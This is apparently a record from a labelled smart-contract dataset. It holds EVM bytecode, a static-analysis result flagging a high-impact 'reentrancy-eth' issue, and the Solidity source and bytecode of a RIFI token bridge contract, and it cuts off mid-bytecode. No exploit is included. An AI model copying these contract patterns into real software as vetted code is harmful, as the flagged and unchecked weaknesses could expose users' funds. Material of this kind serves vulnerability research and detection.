565b50505050565b600083831115829061227b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612272919061350f565b60405180910390fd5b506000838561228a9190613908565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122e760028461272790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612312573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61236360028461272790919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561238e573d6000803e3d6000fd5b5050565b60006006548211156123d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123d090613571565b60405180910390fd5b60006123e3612771565b90506123f8818461272790919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561245e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561248c5781602001602082028036833780820191505090505b50905030816000815181106124ca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561256c57600080fd5b505afa158015612580573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125a49190612f7e565b816001815181106125de577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061264530601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611694565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016126a995949392919061370c565b600060405180830381600087803b1580156126c357600080fd5b505af11580156126d7573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b806127085761270761279c565b5b6127138484846127df565b80612721576127206129aa565b5b50505050565b600061276983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506129be565b905092915050565b600080600061277e612a21565b91509150612795818361272790919063ffffffff16565b9250505090565b6000600d541480156127b057506000600e54145b156127ba576127dd565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b6000806000806000806127f187612a80565b95509550955095509550955061284f86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ae890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128e485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b3290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061293081612b90565b61293a8483612c4d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161299791906136f1565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612a05576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129fc919061350f565b60405180910390fd5b5060008385612a14919061387d565b9050809150509392505050565b600080600060065490506000670de0b6b3a76400009050612a55670de0b6b3a764000060065461272790919063ffffffff16565b821015612a7357600654670de0b6b3a7640000935093505050612a7c565b81819350935050505b9091565b6000806000806000806000806000612a9d8a600d54600e54612c87565b9250925092506000612aad612771565b90506000806000612ac08e878787612d1d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612b2a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612233565b905092915050565b6000808284612b419190613827565b905083811015612b86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b7d90613611565b60405180910390fd5b8091505092915050565b6000612b9a612771565b90506000612bb18284612da690919063ffffffff16565b9050612c0581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b3290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612c6282600654612ae890919063ffffffff16565b600681905550612c7d81600754612b3290919063ffffffff16565b6007819055505050565b600080600080612cb36064612ca5888a612da690919063ffffffff16565b61272790919063ffffffff16565b90506000612cdd6064612ccf888b612da690919063ffffffff16565b61272790919063ffffffff16565b90506000612d0682612cf8858c612ae890919063ffffffff16565b612ae890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612d368589612da690919063ffffffff16565b90506000612d4d8689612da690919063ffffffff16565b90506000612d648789612da690919063ffffffff16565b90506000612d8d82612d7f8587612ae890919063ffffffff16565b612ae890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612db95760009050612e1b565b60008284612dc791906138ae565b9050828482612dd6919061387d565b14612e16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e0d90613631565b60405180910390fd5b809150505b92915050565b6000612e34612e2f846137a6565b613781565b90508083825260208201905082856020860282011115612e5357600080fd5b60005b85811015612e835781612e698882612e8d565b845260208401935060208301925050600181019050612e56565b5050509392505050565b600081359050612e9c81613ef2565b92915050565b600081519050612eb181613ef2565b92915050565b60008083601f840112612ec957600080fd5b8235905067ffffffffffffffff811115612ee257600080fd5b602083019150836020820283011115612efa57600080fd5b9250929050565b600082601f830112612f1257600080fd5b8135612f22848260208601612e21565b91505092915050565b600081359050612f3a81613f09565b92915050565b600081359050612f4f81613f20565b92915050565b600060208284031215612f6757600080fd5b6000612f7584828501612e8d565b91505092915050565b600060208284031215612f9057600080fd5b6000612f9e84828501612ea2565b91505092915050565b60008060408385031215612fba57600080fd5b6000612fc885828601612e8d565b9250506020612fd985828601612e8d565b9150509250929050565b600080600060608486031215612ff857600080fd5b600061300686828701612e8d565b935050602061301786828701612e8d565b925050604061302886828701612f40565b9150509250925092565b6000806040838503121561304557600080fd5b600061305385828601612e8d565b925050602061306485828601612f40565b9150509250929050565b60008060006040848603121561308357600080fd5b600084013567ffffffffffffffff81111561309d57600080fd5b6130a986828701612eb7565b935093505060206130bc86828701612f2b565b9150509250925092565b6000602082840312156130d857600080fd5b600082013567ffffffffffffffff8111156130f257600080fd5b6130fe84828501612f01565b91505092915050565b60006020828403121561311957600080fd5b600061312784828501612f2b565b91505092915050565b60006020828403121561314257600080fd5b600061315084828501612f40565b91505092915050565b6000806000806080858703121561316f57600080fd5b600061317d87828801612f40565b945050602061318e87828801612f40565b935050604061319f87828801612f40565b92505060606131b087828801612f40565b91505092959194509250565b60006131c883836131d4565b60208301905092915050565b6131dd8161393c565b82525050565b6131ec8161393c565b82525050565b60006131fd826137e2565b6132078185613805565b9350613212836137d2565b8060005b8381101561324357815161322a88826131bc565b9750613235836137f8565b925050600181019050613216565b5085935050505092915050565b6132598161394e565b82525050565b61326881613991565b82525050565b613277816139b5565b82525050565b6000613288826137ed565b6132928185613816565b93506132a28185602086016139c7565b6132ab81613b01565b840191505092915050565b60006132c3602383613816565b91506132ce82613b12565b604082019050919050565b60006132e6603f83613816565b91506132f182613b61565b604082019050919050565b6000613309602a83613816565b915061331482613bb0565b604082019050919050565b600061332c601c83613816565b915061333782613bff565b602082019050919050565b600061334f602683613816565b915061335a82613c28565b604082019050919050565b6000613372602283613816565b915061337d82613c77565b604082019050919050565b6000613395602383613816565b91506133a082613cc6565b604082019050919050565b60006133b8601b83613816565b91506133c382613d15565b602082019050919050565b60006133db602183613816565b91506133e682613d3e565b604082019050919050565b60006133fe602083613816565b915061340982613d8d565b602082019050919050565b6000613421602983613816565b915061342c82613db6565b604082019050919050565b6000613444602583613816565b915061344f82613e05565b604082019050919050565b6000613467602383613816565b915061347282613e54565b604082019050919050565b600061348a602483613816565b915061349582613ea3565b604082019050919050565b6134a98161397a565b82525050565b6134b881613984565b82525050565b60006020820190506134d360008301846131e3565b92915050565b60006020820190506134ee6000830184613250565b92915050565b6000602082019050613509600083018461325f565b92915050565b60006020820190508181036000830152613529818461327d565b905092915050565b6000602082019050818103600083015261354a816132b6565b9050919050565b6000602082019050818103600083015261356a816132d9565b9050919050565b6000602082019050818103600083015261358a816132fc565b9050919050565b600060208201905081810360008301526135aa8161331f565b9050919050565b600060208201905081810360008301526135ca81613342565b9050919050565b600060208201905081810360008301526135ea81613365565b9050919050565b6000602082019050818103600083015261360a81613388565b9050919050565b6000602082019050818103600083015261362a816133ab565b9050919050565b6000602082019050818103600083015261364a816133ce565b9050919050565b6000602082019050818103600083015261366a816133f1565b9050919050565b6000602082019050818103600083015261368a81613414565b9050919050565b600060208201905081810360008301526136aa81613437565b9050919050565b600060208201905081810360008301526136ca8161345a565b9050919050565b600060208201905081810360008301526136ea8161347d565b9050919050565b600060208201905061370660008301846134a0565b92915050565b600060a08201905061372160008301886134a0565b61372e602083018761326e565b818103604083015261374081866131f2565b905061374f60608301856131e3565b61375c60808301846134a0565b9695505050505050565b600060208201905061377b60008301846134af565b92915050565b600061378b61379c565b905061379782826139fa565b919050565b6000604051905090565b600067ffffffffffffffff8211156137c1576137c0613ad2565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006138328261397a565b915061383d8361397a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561387257613871613a74565b5b828201905092915050565b60006138888261397a565b91506138938361397a565b9250826138a3576138a2613aa3565b5b828204905092915050565b60006138b98261397a565b91506138c48361397a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156138fd576138fc613a74565b5b828202905092915050565b60006139138261397a565b915061391e8361397a565b92508282101561393157613930613a74565b5b828203905092915050565b60006139478261395a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061399c826139a3565b9050919050565b60006139ae8261395a565b9050919050565b60006139c08261397a565b9050919050565b60005b838110156139e55780820151818401526020810190506139ca565b838111156139f4576000848401525b50505050565b613a0382613b01565b810181811067ffffffffffffffff82111715613a2257613a21613ad2565b5b80604052505050565b6000613a368261397a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a6957613a68613a74565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613efb8161393c565b8114613f0657600080fd5b50565b613f128161394e565b8114613f1d57600080fd5b50565b613f298161397a565b8114613f3457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ef8ff900bfd6261a29d89eda5516a37f19819f198897db466f2aa087f3c9bf1064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 7,862 |
0xf289f9ae0130eb8640c3525dfa88b7c8d2a3d709
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account)
internal
pure
returns (address payable)
{
return payable(account);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
}
library SafeBEP20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IBEP20 token,
address to,
uint256 value
) internal {
callOptionalReturn(
token,
abi.encodeWithSelector(token.transfer.selector, to, value)
);
}
function safeTransferFrom(
IBEP20 token,
address from,
address to,
uint256 value
) internal {
callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IBEP20 token,
address spender,
uint256 value
) internal {
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeBEP20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, value)
);
}
function safeIncreaseAllowance(
IBEP20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(
value
);
callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
function safeDecreaseAllowance(
IBEP20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(
value,
"SafeBEP20: decreased allowance below zero"
);
callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
function callOptionalReturn(IBEP20 token, bytes memory data) private {
require(address(token).isContract(), "SafeBEP20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeBEP20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(
abi.decode(returndata, (bool)),
"SafeBEP20: BEP20 operation did not succeed"
);
}
}
}
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SignData {
bytes32 public DOMAIN_SEPARATOR;
string public NAME;
mapping(address => uint256) public nonces;
bytes32 public UNLOCK_TYPE_HASH;
bytes32 public LOCK_TYPE_HASH;
bytes32 public UPDATE_EPOCH_TYPE_HASH;
constructor() {
NAME = "RIFI BRIDGE LOCKER";
uint256 chainId;
assembly {
chainId := chainid()
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
),
keccak256(bytes(NAME)),
keccak256(bytes("1")),
chainId,
this
)
);
UNLOCK_TYPE_HASH = keccak256(
"Data(address[] senders,address[] receivers,uint256[] amount,uint256 epoch,uint256 deadline,uint256 nonce)"
);
LOCK_TYPE_HASH = keccak256(
"Data(address ethAddress,uint256 amount,uint256 deadline,uint256 nonce)"
);
UPDATE_EPOCH_TYPE_HASH = keccak256("Data(uint256 nonce)");
}
function verify(
bytes32 data,
address sender,
uint8 v,
bytes32 r,
bytes32 s
) public view {
bytes32 digest = keccak256(
abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, data)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(
recoveredAddress != address(0) && recoveredAddress == sender,
"Invalid nonce"
);
}
}
contract RIFIChainBridge is Ownable, SignData {
using SafeBEP20 for IBEP20;
using Address for address;
using SafeMath for uint256;
struct BridgeUserData {
uint256 timestamp;
uint256 bridgeAmount;
}
struct BridgeData {
address sender;
address ethAddress;
uint256 amount;
}
uint256 public MAX_DAILY_BRIDGE;
uint256 public MAX_AMOUNT_BRIDGE;
IBEP20 public rifi;
mapping(address => bool) public unlockedRoles;
uint256 public epochs;
// etherEpoch => bool
mapping(uint256 => bool) public isUnlocked;
// epochs => index => BridgeData
mapping(uint256 => BridgeData[]) public bridgeData;
// user=> BridgeUserData
mapping(address => BridgeUserData) public bridgeUserData;
event Unlock(
uint256 indexed receiveEpoch,
address sender,
address receiver,
uint256 amount,
uint256 indexed index
);
event Lock(
address sender,
address receiver,
uint256 amount,
uint256 indexed epoch
);
constructor(
IBEP20 _rifi,
uint256 _maxDailyAmount,
uint256 _maxAmountInTx
) {
rifi = _rifi;
MAX_AMOUNT_BRIDGE = _maxAmountInTx;
MAX_DAILY_BRIDGE = _maxDailyAmount;
unlockedRoles[msg.sender] = true;
}
modifier ensure(uint256 deadline) {
require(deadline > block.timestamp, "DEADLINE_OUT_OF_DATE");
_;
}
function setDailyAmount(uint256 _amount) public onlyOwner {
MAX_DAILY_BRIDGE = _amount;
}
function setMaxAmountInTx(uint256 _amount) public onlyOwner {
MAX_AMOUNT_BRIDGE = _amount;
}
function setRifi(IBEP20 _rifi) public onlyOwner {
rifi = _rifi;
}
function setUnlockRoles(address _user, bool _result) public onlyOwner {
unlockedRoles[_user] = _result;
}
function getBridgeDataLength(uint256 epoch) public view returns (uint256) {
return bridgeData[epoch].length;
}
function lockRifi(address ethAddress, uint256 amount) public {
_lockRifi(msg.sender, ethAddress, amount);
}
function lockRifiPermit(
address sender,
address ethAddress,
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public ensure(deadline) {
verify(
keccak256(
abi.encode(
LOCK_TYPE_HASH,
ethAddress,
amount,
deadline,
nonces[sender]++
)
),
sender,
v,
r,
s
);
_lockRifi(sender, ethAddress, amount);
}
function _lockRifi(
address sender,
address ethAddress,
uint256 amount
) internal {
uint256 timestamp = block.timestamp;
BridgeUserData storage _bridgeUserData = bridgeUserData[sender];
if (timestamp - _bridgeUserData.timestamp > 1 days) {
_bridgeUserData.timestamp = timestamp;
_bridgeUserData.bridgeAmount = amount;
} else {
_bridgeUserData.bridgeAmount = _bridgeUserData.bridgeAmount.add(
amount
);
}
require(amount <= MAX_AMOUNT_BRIDGE, "Exceed amount limit");
require(
_bridgeUserData.bridgeAmount <= MAX_DAILY_BRIDGE,
"Exceed daily limit"
);
rifi.safeTransferFrom(sender, address(this), amount);
BridgeData memory _bridgeData = BridgeData(sender, ethAddress, amount);
bridgeData[epochs].push(_bridgeData);
emit Lock(sender, ethAddress, amount, epochs);
}
function updateEpochPermit(
address sender,
uint8 v,
bytes32 r,
bytes32 s
) public {
verify(
keccak256(abi.encode(UPDATE_EPOCH_TYPE_HASH, nonces[sender]++)),
sender,
v,
r,
s
);
_updateEpoch(sender);
}
function updateEpoch() public {
_updateEpoch(msg.sender);
}
function _updateEpoch(address sender) internal {
require(unlockedRoles[sender], "Forbidden");
require(getBridgeDataLength(epochs) > 0, "getBridgeDataLength=0");
epochs++;
}
function unlockRifiPermit(
address[] memory senders,
address[] memory receivers,
uint256[] memory amounts,
uint256 receiveEpoch,
uint256 deadline,
address sender,
uint8 v,
bytes32 r,
bytes32 s
) external ensure(deadline) {
verify(
keccak256(
abi.encode(
UNLOCK_TYPE_HASH,
receivers,
amounts,
receiveEpoch,
deadline,
nonces[sender]++
)
),
sender,
v,
r,
s
);
_unlockRifi(senders, receivers, amounts, receiveEpoch, sender);
}
function unlockRifi(
address[] memory senders,
address[] memory receivers,
uint256[] memory amounts,
uint256 receiveEpoch
) external {
_unlockRifi(senders, receivers, amounts, receiveEpoch, msg.sender);
}
function _unlockRifi(
address[] memory senders,
address[] memory receivers,
uint256[] memory amounts,
uint256 receiveEpoch,
address sender
) internal {
require(unlockedRoles[sender], "Forbidden");
require(receivers.length == amounts.length, "Invalid data");
require(isUnlocked[receiveEpoch] == false, "Unlocked");
isUnlocked[receiveEpoch] = true;
for (uint256 i = 0; i < receivers.length; i++) {
rifi.safeTransfer(receivers[i], amounts[i]);
emit Unlock(receiveEpoch, senders[i], receivers[i], amounts[i], i);
}
}
function inCaseStuckToken(
IBEP20 token,
address to,
uint256 amount
) public onlyOwner {
token.safeTransfer(to, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101e55760003560e01c806359fdc81f1161010f57806392d4d9ac116100a2578063c9372feb11610071578063c9372feb14610439578063ec0c957214610442578063f2fde38b14610464578063feb0f5a81461047757600080fd5b806392d4d9ac146103f5578063993fdd4214610408578063a3f4df7e1461041b578063a40b8fe11461043057600080fd5b806372abc8b7116100de57806372abc8b71461038e5780637ecebe00146103b15780638da5cb5b146103d15780638f32d59b146103e257600080fd5b806359fdc81f146103405780636381d526146103535780636ab9bd3f14610373578063715018a61461038657600080fd5b806333b69e0a1161018757806352fdd5a01161015657806352fdd5a0146102e657806357143a611461031157806358152d071461032457806358eca9c71461032d57600080fd5b806333b69e0a146102af5780633644e515146102c257806336f4fb02146102cb5780633a9a0432146102d357600080fd5b80631844b29e116101c35780631844b29e146102755780631b52463a1461027e5780632a8a149f146102935780632d421971146102a657600080fd5b8063098bdb56146101ea5780630c11616b14610222578063142d87f114610239575b600080fd5b61020d6101f8366004611395565b600a6020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b61022b60075481565b604051908152602001610219565b610260610247366004611395565b600e602052600090815260409020805460019091015482565b60408051928352602083019190915201610219565b61022b60065481565b61029161028c366004611395565b61048a565b005b6102916102a13660046113b2565b6104df565b61022b60085481565b6102916102bd366004611559565b6105c5565b61022b60015481565b610291610691565b6102916102e13660046114c9565b61069c565b6009546102f9906001600160a01b031681565b6040516001600160a01b039091168152602001610219565b61029161031f366004611459565b6106af565b61022b600b5481565b61029161033b3660046116d8565b6106be565b61029161034e366004611485565b6106ed565b61022b6103613660046116d8565b6000908152600d602052604090205490565b6102916103813660046116d8565b610759565b610291610788565b61020d61039c3660046116d8565b600c6020526000908152604090205460ff1681565b61022b6103bf366004611395565b60036020526000908152604090205481565b6000546001600160a01b03166102f9565b6000546001600160a01b0316331461020d565b610291610403366004611647565b6107fc565b610291610416366004611697565b610908565b61042361094b565b60405161021991906117f6565b61022b60045481565b61022b60055481565b6104556104503660046116f1565b6109d9565b6040516102199392919061172f565b610291610472366004611395565b610a26565b610291610485366004611420565b610a5c565b6000546001600160a01b031633146104bd5760405162461bcd60e51b81526004016104b490611829565b60405180910390fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b834281116105265760405162461bcd60e51b8152602060048201526014602482015273444541444c494e455f4f55545f4f465f4441544560601b60448201526064016104b4565b6005546001600160a01b038916600090815260036020526040812080546105b093928b928b928b9290919061055a83611949565b909155506040805160208101969096526001600160a01b03909416938501939093526060840191909152608083015260a082015260c00160405160208183030381529060405280519060200120898686866107fc565b6105bb888888610ab1565b5050505050505050565b8442811161060c5760405162461bcd60e51b8152602060048201526014602482015273444541444c494e455f4f55545f4f465f4441544560601b60448201526064016104b4565b6004546001600160a01b0386166000908152600360205260408120805461067893928d928d928d928d929061064083611949565b9190505560405160200161065996959493929190611753565b60405160208183030381529060405280519060200120868686866107fc565b6106858a8a8a8a89610c79565b50505050505050505050565b61069a33610e69565b565b6106a98484848433610c79565b50505050565b6106ba338383610ab1565b5050565b6000546001600160a01b031633146106e85760405162461bcd60e51b81526004016104b490611829565b600755565b6006546001600160a01b03851660009081526003602052604081208054610750939290919061071b83611949565b9091555060408051602081019390935282015260600160405160208183030381529060405280519060200120858585856107fc565b6106a984610e69565b6000546001600160a01b031633146107835760405162461bcd60e51b81526004016104b490611829565b600855565b6000546001600160a01b031633146107b25760405162461bcd60e51b81526004016104b490611829565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60015460405161190160f01b602082015260228101919091526042810186905260009060620160408051601f198184030181528282528051602091820120600080855291840180845281905260ff88169284019290925260608301869052608083018590529092509060019060a0016020604051602081039080840390855afa15801561088d573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116158015906108c35750856001600160a01b0316816001600160a01b0316145b6108ff5760405162461bcd60e51b815260206004820152600d60248201526c496e76616c6964206e6f6e636560981b60448201526064016104b4565b50505050505050565b6000546001600160a01b031633146109325760405162461bcd60e51b81526004016104b490611829565b6109466001600160a01b0384168383610f2c565b505050565b600280546109589061190e565b80601f01602080910402602001604051908101604052809291908181526020018280546109849061190e565b80156109d15780601f106109a6576101008083540402835291602001916109d1565b820191906000526020600020905b8154815290600101906020018083116109b457829003601f168201915b505050505081565b600d60205281600052604060002081815481106109f557600080fd5b60009182526020909120600390910201805460018201546002909201546001600160a01b0391821694509116915083565b6000546001600160a01b03163314610a505760405162461bcd60e51b81526004016104b490611829565b610a5981610f8f565b50565b6000546001600160a01b03163314610a865760405162461bcd60e51b81526004016104b490611829565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6001600160a01b0383166000908152600e6020526040902080544291906201518090610add90846118cb565b1115610af25781815560018101839055610b07565b6001810154610b01908461104f565b60018201555b600854831115610b4f5760405162461bcd60e51b8152602060048201526013602482015272115e18d9595908185b5bdd5b9d081b1a5b5a5d606a1b60448201526064016104b4565b60075481600101541115610b9a5760405162461bcd60e51b8152602060048201526012602482015271115e18d959590819185a5b1e481b1a5b5a5d60721b60448201526064016104b4565b600954610bb2906001600160a01b03168630866110b5565b604080516060810182526001600160a01b0380881682528681166020808401918252838501888152600b80546000908152600d845287812080546001818101835591835294909120875160039095020180549487166001600160a01b0319958616178155945190850180549190961693169290921790935591516002909101555491519091907f62cded90d0b4d15cd7d67fee0ae8bac1d9c61c340a9465c7d341632f495829fc90610c699089908990899061172f565b60405180910390a2505050505050565b6001600160a01b0381166000908152600a602052604090205460ff16610ccd5760405162461bcd60e51b81526020600482015260096024820152682337b93134b23232b760b91b60448201526064016104b4565b8251845114610d0d5760405162461bcd60e51b815260206004820152600c60248201526b496e76616c6964206461746160a01b60448201526064016104b4565b6000828152600c602052604090205460ff1615610d575760405162461bcd60e51b8152602060048201526008602482015267155b9b1bd8dad95960c21b60448201526064016104b4565b6000828152600c60205260408120805460ff191660011790555b8451811015610e6157610dc7858281518110610d8f57610d8f61197a565b6020026020010151858381518110610da957610da961197a565b60209081029190910101516009546001600160a01b03169190610f2c565b80837ffd16e951c2190d9d1f0e31258f1afff65b5e1c56f358e89cf5917a5ba6dd1163888481518110610dfc57610dfc61197a565b6020026020010151888581518110610e1657610e1661197a565b6020026020010151888681518110610e3057610e3061197a565b6020026020010151604051610e479392919061172f565b60405180910390a